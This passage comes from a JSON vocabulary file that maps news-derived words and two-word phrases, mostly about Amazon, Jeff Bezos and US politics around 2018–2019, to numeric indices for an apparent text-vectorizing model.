escalates\": 95596,\n  \"naked selfies\": 95597,\n  \"economists dont\": 95598,\n  \"story story\": 95599,\n  \"aluminum industries\": 95600,\n  \"healthy state\": 95601,\n  \"financial penalties\": 95602,\n  \"remove playerinstance\": 95603,\n  \"logistics 2018\": 95604,\n  \"booking vacation\": 95605,\n  \"process remain\": 95606,\n  \"believe jay\": 95607,\n  \"glowing coverage\": 95608,\n  \"formal investigation\": 95609,\n  \"including race\": 95610,\n  \"getcurrentvideocardcontents currentvideoid\": 95611,\n  \"frantic calls\": 95612,\n  \"philip rucker\": 95613,\n  \"office reached\": 95614,\n  \"make stocks\": 95615,\n  \"schapiro\": 95616,\n  \"reviews news\": 95617,\n  \"ardent trump\": 95618,\n  \"amazon dress\": 95619,\n  \"hushing\": 95620,\n  \"bias concerning\": 95621,\n  \"diesel business\": 95622,\n  \"showing clinton\": 95623,\n  \"guthrie watch\": 95624,\n  \"strident criticism\": 95625,\n  \"missile defense\": 95626,\n  \"months ended\": 95627,\n  \"holds 596\": 95628,\n  \"compromising personal\": 95629,\n  \"ages transitions\": 95630,\n  \"want strong\": 95631,\n  \"home pixel\": 95632,\n  \"committee aide\": 95633,\n  \"merchants\": 95634,\n  \"community organizations\": 95635,\n  \"chris daniels\": 95636,\n  \"items online\": 95637,\n  \"craft higher\": 95638,\n  \"high congress\": 95639,\n  \"amazon offers\": 95640,\n  \"trump strategic\": 95641,\n  \"bovine\": 95642,\n  \"american soybean\": 95643,\n  \"internet days\": 95644,\n  \"nation secretary\": 95645,\n  \"tosee\": 95646,\n  \"products online\": 95647,\n  \"extremist products\": 95648,\n  \"unlabeled gmos\": 95649,\n  \"larger companies\": 95650,\n  \"kavanaugh pledged\": 95651,\n  \"subtle jab\": 95652,\n  \"logistics consultancy\": 95653,\n  \"horseshit\": 95654,\n  \"destroying jobs\": 95655,\n  \"credulous\": 95656,\n  \"trump fashion\": 95657,\n  \"ooey gooey\": 95658,\n  \"incendida publicaci\\u00f3n_incorporada_incorporada_filaje_de_files\": 95659,\n  \"coresight research\": 95660,\n  \"leaves\": 95661,\n  \"accuses\": 95662,\n  \"lot faster\": 95663,\n  \"week documents\": 95664,\n  \"drive loveland\": 95665,\n  \"administration holdovers\": 95666,\n  \"ecommerce strategy\": 95667,\n  \"selected pizza\": 95668,\n  \"star omarosa\": 95669,\n  \"amazon vpc\": 95670,\n  \"el sayed\": 95671,\n  \"school teacher\": 95672,\n  \"wild orange\": 95673,\n  \"unexpected shareholder\": 95674,\n  \"today cover\": 95675,\n  \"panel representatives\": 95676,\n  \"elizabeth mckenzie\": 95677,\n  \"great healthcare\": 95678,\n  \"campaign confiscated\": 95679,\n  \"rettig\": 95680,\n  \"groceries electronics\": 95681,\n  \"percentile\": 95682,\n  \"giants including\": 95683,\n  \"old raincoat\": 95684,\n  \"shootings today\": 95685,\n  \"unlike politicians\": 95686,\n  \"1980 surviving\": 95687,\n  \"green considering\": 95688,\n  \"raising prices\": 95689,\n  \"markets competition\": 95690,\n  \"continue clark\": 95691,\n  \"watch aoc\": 95692,\n  \"experts buy\": 95693,\n  \"moment based\": 95694,\n  \"economy sure\": 95695,\n  \"medium detailing\": 95696,\n  \"home fashion\": 95697,\n  \"commenter challenged\": 95698,\n  \"previously questioned\": 95699,\n  \"mueller tweetstorm\": 95700,\n  \"man catherine\": 95701,\n  \"beast national\": 95702,\n  \"afraid\": 95703,\n  \"dark path\": 95704,\n  \"device prompted\": 95705,\n  \"charity arm\": 95706,\n  \"sherwin williams\": 95707,\n  \"2018 usa\": 95708,\n  \"pump billion\": 95709,\n  \"closer\": 95710,\n  \"postrecession lows\": 95711,\n  \"capital later\": 95712,\n  \"special event\": 95713,\n  \"emeritus temple\": 95714,\n  \"prosecutors violation\": 95715,\n  \"resellers\": 95716,\n  \"learning management\": 95717,\n  \"bids open\": 95718,\n  \"big wage\": 95719,\n  \"government infrastructure\": 95720,\n  \"telecommunications equipment\": 95721,\n  \"son eduardo\": 95722,\n  \"nationwide sensation\": 95723,\n  \"envelopes\": 95724,\n  \"welcome david\": 95725,\n  \"considering derek\": 95726,\n  \"package foxconn\": 95727,\n  \"ibama total\": 95728,\n  \"practical matter\": 95729,\n  \"authorizer\": 95730,\n  \"sandbulte\": 95731,\n  \"pinturault\": 95732,\n  \"mandel sethamandel\": 95733,\n  \"reportedly pressed\": 95734,\n  \"told axios\": 95735,\n  \"teaching certificates\": 95736,\n  \"complex arcane\": 95737,\n  \"speculate bolsonaro\": 95738,\n  \"louise duart\": 95739,\n  \"bolsonaro help\": 95740,\n  \"61st\": 95741,\n  \"proof majority\": 95742,\n  \"investigative project\": 95743,\n  \"viet nam\": 95744,\n  \"blond\": 95745,\n  \"gm chairman\": 95746,\n  \"primary oppo\": 95747,\n  \"peasants introduced\": 95748,\n  \"public liaison\": 95749,\n  \"fail potentially\": 95750,\n  \"2003 announced\": 95751,\n  \"typically handled\": 95752,\n  \"protect choice\": 95753,\n  \"righting\": 95754,\n  \"making\": 95755,\n  \"trickier\": 95756,\n  \"ebay shopper\": 95757,\n  \"tomlin\": 95758,\n  \"worst quarter\": 95759,\n  \"opinion amazon\": 95760,\n  \"bred\": 95761,\n  \"foolhardy\": 95762,\n  \"judicial seats\": 95763,\n  \"ohanian\": 95764,\n  \"beeb\": 95765,\n  \"andrei stanescu\": 95766,\n  \"thepresident\": 95767,\n  \"kept offshore\": 95768,\n  \"airports unidentified\": 95769,\n  \"bobbed\": 95770,\n  \"vlasic\": 95771,\n  \"toned\": 95772,\n  \"term lawmaker\": 95773,\n  \"holcomb\": 95774,\n  \"hq2 frontrunner\": 95775,\n  \"murdoch fox\": 95776,\n  \"huge spike\": 95777,\n  \"mevissen\": 95778,\n  \"golfer\": 95779,\n  \"moeller\": 95780,\n  \"volatility\": 95781,\n  \"public svc\": 95782,\n  \"president referred\": 95783,\n  \"doomed boeing\": 95784,\n  \"press outlet\": 95785,\n  \"involving acquisitions\": 95786,\n  \"negative media\": 95787,\n  \"agriculture run\": 95788,\n  \"desensitized today\": 95789,\n  \"ap soldier\": 95790,\n  \"doom progressives\": 95791,\n  \"fmr pres\": 95792,\n  \"merger\": 95793,\n  \"state banks\": 95794,\n  \"allusion\": 95795,\n  \"sen cory\": 95796,\n  \"entrepreneurs lot\": 95797,\n  \"flyer welcom\": 95798,\n  \"services used\": 95799,\n  \"light amazon\": 95800,\n  \"message thanking\": 95801,\n  \"hotel deal\": 95802,\n  \"codex\": 95803,\n  \"didi chuxing\": 95804,\n  \"great cheese\": 95805,\n  \"classified nature\": 95806,\n  \"calculator\": 95807,\n  \"administration advised\": 95808,\n  \"accessions\": 95809,\n  \"nbc cbs\": 95810,\n  \"photoshop elements\": 95811,\n  \"corporate results\": 95812,\n  \"bipartisan runway\": 95813,\n  \"bezos team\": 95814,\n  \"2018 cambridge\": 95815,\n  \"controversial topics\": 95816,\n  \"blog president\": 95817,\n  \"amazon returned\": 95818,\n  \"costliest known\": 95819,\n  \"despite spicer\": 95820,\n  \"haven shepherd\": 95821,\n  \"tmdsthqpuf\": 95822,\n  \"tibbetts\": 95823,\n  \"trump receives\": 95824,\n  \"light told\": 95825,\n  \"lucrative investments\": 95826,\n  \"gold digger\": 95827,\n  \"headlinetext lamborghini\": 95828,\n  \"1610et\": 95829,\n  \"relatively little\": 95830,\n  \"loudmouthed monkey\": 95831,\n  \"schooner professor\": 95832,\n  \"boko haram\": 95833,\n  \"lees ook\": 95834,\n  \"bob riley\": 95835,\n  \"include improvement\": 95836,\n  \"coroners\": 95837,\n  \"prussia penn\": 95838,\n  \"visa workers\": 95839,\n  \"2019 seekingalpha\": 95840,\n  \"deliveries\": 95841,\n  \"13022228\": 95842,\n  \"bezos ring\": 95843,\n  \"ami expos\": 95844,\n  \"guardian indicate\": 95845,\n  \"research initiative\": 95846,\n  \"america teens\": 95847,\n  \"isn easy\": 95848,\n  \"disclosure claimed\": 95849,\n  \"730 words\": 95850,\n  \"chris sagers\": 95851,\n  \"chairman powells\": 95852,\n  \"investigation hitherto\": 95853,\n  \"direct actions\": 95854,\n  \"magazine lauding\": 95855,\n  \"elm tree\": 95856,\n  \"did deap\": 95857,\n  \"states ended\": 95858,\n  \"computers customer\": 95859,\n  \"amicable\": 95860,\n  \"gaap tax\": 95861,\n  \"specifically promotes\": 95862,\n  \"svitlana\": 95863,\n  \"illicit importation\": 95864,\n  \"function cnn\": 95865,\n  \"trafficking networks\": 95866,\n  \"pembroke pines\": 95867,\n  \"oregano eucalyptus\": 95868,\n  \"accusations career\": 95869,\n  \"revived adequate\": 95870,\n  \"gathering data\": 95871,\n  \"inherent global\": 95872,\n  \"firm gbh\": 95873,\n  \"reviewers giving\": 95874,\n  \"amazon 103\": 95875,\n  \"story alleging\": 95876,\n  \"price hiking\": 95877,\n  \"tapped\": 95878,\n  \"undermining democracy\": 95879,\n  \"department says\": 95880,\n  \"pistol provides\": 95881,\n  \"length trailer\": 95882,\n  \"usps requested\": 95883,\n  \"hearing siren\": 95884,\n  \"1800s\": 95885,\n  \"headlines amazon\": 95886,\n  \"onesies providing\": 95887,\n  \"wilkes barre\": 95888,\n  \"imagines jeff\": 95889,\n  \"amazon shaped\": 95890,\n  \"car company\": 95891,\n  \"highway billions\": 95892,\n  \"theirs\": 95893,\n  \"mcknight\": 95894,\n  \"openly critical\": 95895,\n  \"sara zaske\": 95896,\n  \"frequent critic\": 95897,\n  \"delivery truck\": 95898,\n  \"innately progressive\": 95899,\n  \"contra\": 95900,\n  \"political resistance\": 95901,\n  \"amazon founded\": 95902,\n  \"welch grape\": 95903,\n  \"fist\": 95904,\n  \"penny pinching\": 95905,\n  \"shown\": 95906,\n  \"amazon reduces\": 95907,\n  \"marco\": 95908,\n  \"cate\": 95909,\n  \"packages navarro\": 95910,\n  \"mourn\": 95911,\n  \"illegal avoidance\": 95912,\n  \"media industry\": 95913,\n  \"know saudi\": 95914,\n  \"banking instead\": 95915,\n  \"10000 just\": 95916,\n  \"took stand\": 95917,\n  \"club bezos\": 95918,\n  \"make strides\": 95919,\n  \"multiple explanations\": 95920,\n  \"zip codes\": 95921,\n  \"text size\": 95922,\n  \"toronto based\": 95923,\n  \"pillars\": 95924,\n  \"wrong hands\": 95925,\n  \"vail communications\": 95926,\n  \"noosed costume\": 95927,\n  \"forging\": 95928,\n  \"american contenders\": 95929,\n  \"working mother\": 95930,\n  \"abergel\": 95931,\n  \"bertoux aims\": 95932,\n  \"city hyper\": 95933,\n  \"york democrats\": 95934,\n  \"queens deal\": 95935,\n  \"donations people\": 95936,\n  \"successor plan\": 95937,\n  \"assets 181002173716\": 95938,\n  \"unsuspecting facebook\": 95939,\n  \"king lean\": 95940,\n  \"university ave\": 95941,\n  \"austin mayor\": 95942,\n  \"stricter ethics\": 95943,\n  \"service low\": 95944,\n  \"glor trump\": 95945,\n  \"local families\": 95946,\n  \"gloomier\": 95947,\n  \"geekwire request\": 95948,\n  \"locations geekwire\": 95949,\n  \"giveaways tax\": 95950,\n  \"valuation bump\": 95951,\n  \"community activist\": 95952,\n  \"detailed alleged\": 95953,\n  \"china swine\": 95954,\n  \"sales gms\": 95955,\n  \"jekyll\": 95956,\n  \"systemically\": 95957,\n  \"father died\": 95958,\n  \"massive resources\": 95959,\n  \"organic sales\": 95960,\n  \"2019 stephanie\": 95961,\n  \"office google\": 95962,\n  \"time book\": 95963,\n  \"recent facebook\": 95964,\n  \"prosecutors charged\": 95965,\n  \"procedural\": 95966,\n  \"extensive report\": 95967,\n  \"dust mark\": 95968,\n  \"workers competitive\": 95969,\n  \"agency 280\": 95970,\n  \"offering products\": 95971,\n  \"newbies\": 95972,\n  \"corruption bezos\": 95973,\n  \"alternative media\": 95974,\n  \"morial maria\": 95975,\n  \"damn dude\": 95976,\n  \"screenwriter\": 95977,\n  \"concept\": 95978,\n  \"post contributor\": 95979,\n  \"analysing competitors\": 95980,\n  \"earnings beats\": 95981,\n  \"firm illegal\": 95982,\n  \"says cbre\": 95983,\n  \"emergency governor\": 95984,\n  \"criticized president\": 95985,\n  \"wheelchair\": 95986,\n  \"trump enduring\": 95987,\n  \"cutting prices\": 95988,\n  \"supply boy\": 95989,\n  \"today gusty\": 95990,\n  \"confirmation believe\": 95991,\n  \"rubenstein hosted\": 95992,\n  \"mike snider\": 95993,\n  \"news blake\": 95994,\n  \"key advisers\": 95995,\n  \"slush funds\": 95996,\n  \"straightforward tweet\": 95997,\n  \"ship quickly\": 95998,\n  \"supplier cloud\": 95999,\n  \"2016 american\": 96000,\n  \"sharp tones\": 96001,\n  \"spare iphones\": 96002,\n  \"dc thanks\": 96003,\n  \"intense frustration\": 96004,\n  \"attends manchester\": 96005,\n  \"electronics home\": 96006,\n  \"touching\": 96007,\n  \"reporters appeared\": 96008,\n  \"crisis communications\": 96009,\n  \"gwl acquiring\": 96010,\n  \"tight despite\": 96011,\n  \"past day\": 96012,\n  \"republican senate\": 96013,\n  \"limitless\": 96014,\n  \"youtube supporters\": 96015,\n  \"finance institute\": 96016,\n  \"crazytown woodward\": 96017,\n  \"development arm\": 96018,\n  \"really awful\": 96019,\n  \"contradicts big\": 96020,\n  \"god little\": 96021,\n  \"2018 list\": 96022,\n  \"g0 p7\": 96023,\n  \"spanish government\": 96024,\n  \"secular trends\": 96025,\n  \"individual rate\": 96026,\n  \"won seth\": 96027,\n  \"incredibly binge\": 96028,\n  \"fresh highs\": 96029,\n  \"unsustainable business\": 96030,\n  \"addalyn sooter\": 96031,\n  \"cautionary chilling\": 96032,\n  \"bank charters\": 96033,\n  \"aws solution\": 96034,\n  \"phosphonate\": 96035,\n  \"equality laid\": 96036,\n  \"dow snap\": 96037,\n  \"retailer senior\": 96038,\n  \"thwarting trump\": 96039,\n  \"footage earlier\": 96040,\n  \"government decisions\": 96041,\n  \"melina thank\": 96042,\n  \"dictionary definition\": 96043,\n  \"civics\": 96044,\n  \"national inquirer\": 96045,\n  \"shingles\": 96046,\n  \"1998 world\": 96047,\n  \"insufficient\": 96048,\n  \"basic services\": 96049,\n  \"mccabe told\": 96050,\n  \"forcing organizations\": 96051,\n  \"economist speak\": 96052,\n  \"news margaret\": 96053,\n  \"financial metrics\": 96054,\n  \"light meal\": 96055,\n  \"driven insane\": 96056,\n  \"wnyc askthemayor\": 96057,\n  \"weeks achieving\": 96058,\n  \"sources pyongyang\": 96059,\n  \"tetraphase\": 96060,\n  \"refreshingly realistic\": 96061,\n  \"claims forensic\": 96062,\n  \"make clear\": 96063,\n  \"david hoffmann\": 96064,\n  \"1410535536\": 96065,\n  \"lease options\": 96066,\n  \"echo trump\": 96067,\n  \"policies trump\": 96068,\n  \"enquirer site\": 96069,\n  \"teamed\": 96070,\n  \"candidate\": 96071,\n  \"trademark infringement\": 96072,\n  \"vegas trip\": 96073,\n  \"chief bring\": 96074,\n  \"lead russia\": 96075,\n  \"chevron did\": 96076,\n  \"paced growth\": 96077,\n  \"billionaire billionaire\": 96078,\n  \"model hasn\": 96079,\n  \"break president\": 96080,\n  \"received jurisdiction\": 96081,\n  \"service highlighting\": 96082,\n  \"unfairly favour\": 96083,\n  \"homeowners home\": 96084,\n  \"retail methods\": 96085,\n  \"meant turning\": 96086,\n  \"technology niles\": 96087,\n  \"graegin\": 96088,\n  \"cybersecurity risks\": 96089,\n  \"prices fair\": 96090,\n  \"ago wolf\": 96091,\n  \"billion spent\": 96092,\n  \"giant plans\": 96093,\n  \"texas thomas\": 96094,\n  \"military does\": 96095,\n  \"640x290\": 96096,\n  \"office bezos\": 96097,\n  \"large groups\": 96098,\n  \"kristalina georgieva\": 96099,\n  \"1440et\": 96100,\n  \"skeptical view\": 96101,\n  \"dentists\": 96102,\n  \"611\": 96103,\n  \"transplant philadelphia\": 96104,\n  \"digital media\": 96105,\n  \"satirical humor\": 96106,\n  \"rates read\": 96107,\n  \"nonsupervisory workers\": 96108,\n  \"sanchez alleged\": 96109,\n  \"director stacy\": 96110,\n  \"fatalities thank\": 96111,\n  \"colours strong\": 96112,\n  \"good customer\": 96113,\n  \"patrol agent\": 96114,\n  \"new juncture\": 96115,\n  \"2018 called\": 96116,\n  \"funding public\": 96117,\n  \"eventssurrounding president\": 96118,\n  \"size currently\": 96119,\n  \"2013 cia\": 96120,\n  \"knowledgeable\": 96121,\n  \"going rogue\": 96122,\n  \"business ace\": 96123,\n  \"attacks image\": 96124,\n  \"pedophiles mainly\": 96125,\n  \"500 million\": 96126,\n  \"lawmakers says\": 96127,\n  \"means closing\": 96128,\n  \"editor ted\": 96129,\n  \"marketer\": 96130,\n  \"sexual personage\": 96131,\n  \"year maziarz\": 96132,\n  \"did acquire\": 96133,\n  \"timely fit\": 96134,\n  \"trading plan\": 96135,\n  \"scholarships\": 96136,\n  \"mobile payment\": 96137,\n  \"celebrated major\": 96138,\n  \"tg\": 96139,\n  \"inc_homepage_headline_ab_test\": 96140,\n  \"photo john\": 96141,\n  \"highly publicized\": 96142,\n  \"gifting billions\": 96143,\n  \"similarly enthused\": 96144,\n  \"whopping 310\": 96145,\n  \"hussle\": 96146,\n  \"lawbreaker\": 96147,\n  \"advanced technologies\": 96148,\n  \"floundering\": 96149,\n  \"buyer dwelling\": 96150,\n  \"formula amazon\": 96151,\n  \"maker deckers\": 96152,\n  \"relatively open\": 96153,\n  \"plentiful\": 96154,\n  \"terre tax\": 96155,\n  \"uncomfortable\": 96156,\n  \"avoided using\": 96157,\n  \"toiletry bag\": 96158,\n  \"vegas shooting\": 96159,\n  \"media empire\": 96160,\n  \"essential deals\": 96161,\n  \"profit margin\": 96162,\n  \"promotional photo\": 96163,\n  \"sedition\": 96164,\n  \"shared cultures\": 96165,\n  \"previous promise\": 96166,\n  \"chinese company\": 96167,\n  \"british spy\": 96168,\n  \"tweet muckerman\": 96169,\n  \"cbs trump\": 96170,\n  \"2018 wcnc\": 96171,\n  \"funded desperately\": 96172,\n  \"billion lifeline\": 96173,\n  \"background sourcing\": 96174,\n  \"phosphate glutamate\": 96175,\n  \"overcorporate\": 96176,\n  \"send images\": 96177,\n  \"enquirer click\": 96178,\n  \"born left\": 96179,\n  \"survivor story\": 96180,\n  \"black dolezal\": 96181,\n  \"seller business\": 96182,\n  \"including picture\": 96183,\n  \"york sets\": 96184,\n  \"additional coordinated\": 96185,\n  \"paid maternity\": 96186,\n  \"government funds\": 96187,\n  \"hardest thing\": 96188,\n  \"unavailable\": 96189,\n  \"nadella protesting\": 96190,\n  \"1925\": 96191,\n  \"suspicious letters\": 96192,\n  \"writes jason\": 96193,\n  \"right good\": 96194,\n  \"advsr limited\": 96195,\n  \"members face\": 96196,\n  \"internal document\": 96197,\n  \"code senator\": 96198,\n  \"wheat\": 96199,\n  \"paul ryanpaul\": 96200,\n  \"previous congestion\": 96201,\n  \"national hurricane\": 96202,\n  \"beast michael\": 96203,\n  \"citing newsweek\": 96204,\n  \"criminal penalties\": 96205,\n  \"market strategist\": 96206,\n  \"municipal policymakers\": 96207,\n  \"marketing snail\": 96208,\n  \"steering\": 96209,\n  \"early whispers\": 96210,\n  \"moment calls\": 96211,\n  \"recommendations contained\": 96212,\n  \"market based\": 96213,\n  \"decrying\": 96214,\n  \"cortez financially\": 96215,\n  \"resemble humans\": 96216,\n  \"revenue 031\": 96217,\n  \"speed good\": 96218,\n  \"room meeting\": 96219,\n  \"115 109\": 96220,\n  \"officers memorial\": 96221,\n  \"shipping prices\": 96222,\n  \"develop flu\": 96223,\n  \"molested\": 96224,\n  \"larger framework\": 96225,\n  \"stock took\": 96226,\n  \"repel colonial\": 96227,\n  \"price soaring\": 96228,\n  \"fact pbs\": 96229,\n  \"pristine\": 96230,\n  \"evidence exists\": 96231,\n  \"2930a brooks\": 96232,\n  \"cisgender people\": 96233,\n  \"including kamal\": 96234,\n  \"gains today\": 96235,\n  \"quality exclusive\": 96236,\n  \"work week\": 96237,\n  \"modern satanic\": 96238,\n  \"extortionate prices\": 96239,\n  \"allegedly underpaying\": 96240,\n  \"instantly reply\": 96241,\n  \"sanity saving\": 96242,\n  \"expansion garofolo\": 96243,\n  \"small online\": 96244,\n  \"probe trump\": 96245,\n  \"true anymore\": 96246,\n  \"sales increased\": 96247,\n  \"helpful share\": 96248,\n  \"possible investigations\": 96249,\n  \"states congressman\": 96250,\n  \"anti bullying\": 96251,\n  \"security advisor\": 96252,\n  \"tamp\": 96253,\n  \"antifraud\": 96254,\n  \"reflects\": 96255,\n  \"business revenues\": 96256,\n  \"celebrity oriented\": 96257,\n  \"vacation packages\": 96258,\n  \"business republicans\": 96259,\n  \"suffered unfair\": 96260,\n  \"detention\": 96261,\n  \"advises\": 96262,\n  \"black churches\": 96263,\n  \"ellis ros\": 96264,\n  \"mean negotiation\": 96265,\n  \"fake item\": 96266,\n  \"enquirer ceo\": 96267,\n  \"squeeze suppliers\": 96268,\n  \"broke antitrust\": 96269,\n  \"slice\": 96270,\n  \"economy andy\": 96271,\n  \"agencies 180\": 96272,\n  \"hiring plans\": 96273,\n  \"fifa\": 96274,\n  \"lamb source\": 96275,\n  \"investigation expands\": 96276,\n  \"internet beijing\": 96277,\n  \"784\": 96278,\n  \"allowed online\": 96279,\n  \"destination trump\": 96280,\n  \"revenue basis\": 96281,\n  \"maintained\": 96282,\n  \"petrochemical company\": 96283,\n  \"jenkins movie\": 96284,\n  \"defines\": 96285,\n  \"usps website\": 96286,\n  \"social networksabout\": 96287,\n  \"previously called\": 96288,\n  \"principal 2019\": 96289,\n  \"despite feinstein\": 96290,\n  \"pivotal research\": 96291,\n  \"ish available\": 96292,\n  \"best positioned\": 96293,\n  \"withers today\": 96294,\n  \"better buy\": 96295,\n  \"itlast\": 96296,\n  \"yorkers brian\": 96297,\n  \"teva pharmaceuticals\": 96298,\n  \"parts flew\": 96299,\n  \"brought trump\": 96300,\n  \"flames junk\": 96301,\n  \"workers especially\": 96302,\n  \"statements denied\": 96303,\n  \"evader\": 96304,\n  \"checkmate mystock88photo\": 96305,\n  \"academically\": 96306,\n  \"unsteady\": 96307,\n  \"making point\": 96308,\n  \"averaged\": 96309,\n  \"urban cores\": 96310,\n  \"cut losses\": 96311,\n  \"stalinist\": 96312,\n  \"bezos drive\": 96313,\n  \"observatory network\": 96314,\n  \"detainees\": 96315,\n  \"big push\": 96316,\n  \"daniel hansen\": 96317,\n  \"cop shooting\": 96318,\n  \"spurred sales\": 96319,\n  \"know 2017\": 96320,\n  \"inc_column_name_override null\": 96321,\n  \"gaiman novel\": 96322,\n  \"tanza loudenback\": 96323,\n  \"mocking iowa\": 96324,\n  \"eileen myles\": 96325,\n  \"slowing sales\": 96326,\n  \"southern israel\": 96327,\n  \"officially coming\": 96328,\n  \"bezos day\": 96329,\n  \"year project\": 96330,\n  \"including turtle\": 96331,\n  \"peddling booze\": 96332,\n  \"soaring existing\": 96333,\n  \"sounds just\": 96334,\n  \"selby\": 96335,\n  \"jorg\": 96336,\n  \"l0 r4ee\": 96337,\n  \"sandal maker\": 96338,\n  \"blistering\": 96339,\n  \"fiduciary trust\": 96340,\n  \"brands introduced\": 96341,\n  \"fare\": 96342,\n  \"big backstop\": 96343,\n  \"acclaim\": 96344,\n  \"midwest julia\": 96345,\n  \"say toronto\": 96346,\n  \"turning tidy\": 96347,\n  \"woman allegedly\": 96348,\n  \"years package\": 96349,\n  \"bancorporation\": 96350,\n  \"rapid ramp\": 96351,\n  \"election sessions\": 96352,\n  \"duke american\": 96353,\n  \"defamation\": 96354,\n  \"allows merchants\": 96355,\n  \"share numerous\": 96356,\n  \"twitter moser\": 96357,\n  \"significantly university\": 96358,\n  \"testaments missouri\": 96359,\n  \"proud pride\": 96360,\n  \"photo ap\": 96361,\n  \"counted 124\": 96362,\n  \"quality feature\": 96363,\n  \"various degrees\": 96364,\n  \"country saudiarabia\": 96365,\n  \"hamilton niagara\": 96366,\n  \"just crossed\": 96367,\n  \"increasingly important\": 96368,\n  \"rogin pence\": 96369,\n  \"belonging\": 96370,\n  \"facetime app\": 96371,\n  \"mair told\": 96372,\n  \"bezos backed\": 96373,\n  \"offers sophisticated\": 96374,\n  \"tossed\": 96375,\n  \"paralyzed\": 96376,\n  \"gorgeous plant\": 96377,\n  \"plays captain\": 96378,\n  \"trump aggressive\": 96379,\n  \"contents dramas\": 96380,\n  \"kellyanne conway\": 96381,\n  \"guess tomorrow\": 96382,\n  \"228 shares\": 96383,\n  \"sen collins\": 96384,\n  \"misztal boston\": 96385,\n  \"losing face\": 96386,\n  \"101 arlington\": 96387,\n  \"modernize win\": 96388,\n  \"washington began\": 96389,\n  \"employed\": 96390,\n  \"langbaum\": 96391,\n  \"divorce filing\": 96392,\n  \"sanders escalates\": 96393,\n  \"targeting immigrants\": 96394,\n  \"keeps amazon\": 96395,\n  \"perilous\": 96396,\n  \"public spaces\": 96397,\n  \"brexit style\": 96398,\n  \"week raised\": 96399,\n  \"stagnating\": 96400,\n  \"alibaba jdcom\": 96401,\n  \"forcing major\": 96402,\n  \"decision driver\": 96403,\n  \"schatz\": 96404,\n  \"papazian medical\": 96405,\n  \"talks posted\": 96406,\n  \"business survival\": 96407,\n  \"envy\": 96408,\n  \"idiq awards\": 96409,\n  \"treatment instead\": 96410,\n  \"leave wouldn\": 96411,\n  \"subsections entertainment\": 96412,\n  \"operations bope\": 96413,\n  \"replace schuster\": 96414,\n  \"revenue machine\": 96415,\n  \"advisers elements\": 96416,\n  \"certainly unpopular\": 96417,\n  \"say sorry\": 96418,\n  \"action according\": 96419,\n  \"fair housing\": 96420,\n  \"weiner laptop\": 96421,\n  \"subscribers free\": 96422,\n  \"anthony melchiorre\": 96423,\n  \"image shows\": 96424,\n  \"distribution state\": 96425,\n  \"prince william\": 96426,\n  \"bond markets\": 96427,\n  \"money party\": 96428,\n  \"chicken parmesan\": 96429,\n  \"raunchy intimate\": 96430,\n  \"ebay alipay\": 96431,\n  \"fashion accessories\": 96432,\n  \"compiles\": 96433,\n  \"assemblywoman nolan\": 96434,\n  \"widespread outrage\": 96435,\n  \"built considerable\": 96436,\n  \"tm son\": 96437,\n  \"federal research\": 96438,\n  \"jordyn\": 96439,\n  \"2018 dow\": 96440,\n  \"393\": 96441,\n  \"bezos shocking\": 96442,\n  \"aca ruling\": 96443,\n  \"menchaca\": 96444,\n  \"laymon scribner\": 96445,\n  \"legend snopes\": 96446,\n  \"government worked\": 96447,\n  \"audrey\": 96448,\n  \"story ponzi\": 96449,\n  \"pirates operating\": 96450,\n  \"campaign says\": 96451,\n  \"booking travel\": 96452,\n  \"elections boe\": 96453,\n  \"whitehead\": 96454,\n  \"govpredict bi\": 96455,\n  \"ignited cigar\": 96456,\n  \"industry amazon\": 96457,\n  \"passed unanimous\": 96458,\n  \"technological book\": 96459,\n  \"orig mss\": 96460,\n  \"implications promises\": 96461,\n  \"finishing stages\": 96462,\n  \"socialists senator\": 96463,\n  \"offenses\": 96464,\n  \"notice shopper\": 96465,\n  \"erratic\": 96466,\n  \"black persons\": 96467,\n  \"offer great\": 96468,\n  \"changing policies\": 96469,\n  \"owners deadly\": 96470,\n  \"method involves\": 96471,\n  \"asked nick\": 96472,\n  \"needs improvement\": 96473,\n  \"pentagon multi\": 96474,\n  \"plotting\": 96475,\n  \"guidance does\": 96476,\n  \"agents thanks\": 96477,\n  \"samaritan accepts\": 96478,\n  \"proposes putting\": 96479,\n  \"removing nude\": 96480,\n  \"nbcuniversal busy\": 96481,\n  \"arkansas specializing\": 96482,\n  \"hulu castle\": 96483,\n  \"bridesmaid daughter\": 96484,\n  \"photo tv\": 96485,\n  \"company relative\": 96486,\n  \"honan\": 96487,\n  \"rally opposing\": 96488,\n  \"separation rule\": 96489,\n  \"statutory\": 96490,\n  \"services methods\": 96491,\n  \"clinton election\": 96492,\n  \"river tributary\": 96493,\n  \"started bids\": 96494,\n  \"biased search\": 96495,\n  \"taste heart\": 96496,\n  \"airplane\": 96497,\n  \"fun anymore\": 96498,\n  \"tech openmic\": 96499,\n  \"new product\": 96500,\n  \"small biz\": 96501,\n  \"life reminds\": 96502,\n  \"tell different\": 96503,\n  \"cynical ploy\": 96504,\n  \"songman lin\": 96505,\n  \"houston students\": 96506,\n  \"penkala\": 96507,\n  \"snl gop\": 96508,\n  \"merchandise volume\": 96509,\n  \"time team\": 96510,\n  \"similar development\": 96511,\n  \"embracing north\": 96512,\n  \"109 166\": 96513,\n  \"family finds\": 96514,\n  \"losing postal\": 96515,\n  \"addclass cd\": 96516,\n  \"sales programmatically\": 96517,\n  \"ceo responded\": 96518,\n  \"hawker\": 96519,\n  \"leadership governance\": 96520,\n  \"cortez flooded\": 96521,\n  \"massive platforms\": 96522,\n  \"stone confirmed\": 96523,\n  \"increase banner\": 96524,\n  \"frozen products\": 96525,\n  \"tweet couldn\": 96526,\n  \"eminently\": 96527,\n  \"cnl_calcaccesplact_content_content nn\": 96528,\n  \"harassment settlements\": 96529,\n  \"wrong personally\": 96530,\n  \"idiosyncratic session\": 96531,\n  \"progressive journalism\": 96532,\n  \"group queens\": 96533,\n  \"monopoly control\": 96534,\n  \"media owns\": 96535,\n  \"say sununu\": 96536,\n  \"created demand\": 96537,\n  \"business units\": 96538,\n  \"jr mark\": 96539,\n  \"reported law\": 96540,\n  \"secret files\": 96541,\n  \"powerful railroad\": 96542,\n  \"hectored heckled\": 96543,\n  \"customer accounts\": 96544,\n  \"redhat\": 96545,\n  \"fas\": 96546,\n  \"electronic wristbands\": 96547,\n  \"vladimir putin\": 96548,\n  \"moto g6\": 96549,\n  \"rebecca traister\": 96550,\n  \"media lab\": 96551,\n  \"earn yields\": 96552,\n  \"merely spew\": 96553,\n  \"putting ceo\": 96554,\n  \"cameroonian colonial\": 96555,\n  \"operating driverless\": 96556,\n  \"ice deputy\": 96557,\n  \"notdeny\": 96558,\n  \"richer people\": 96559,\n  \"alleged details\": 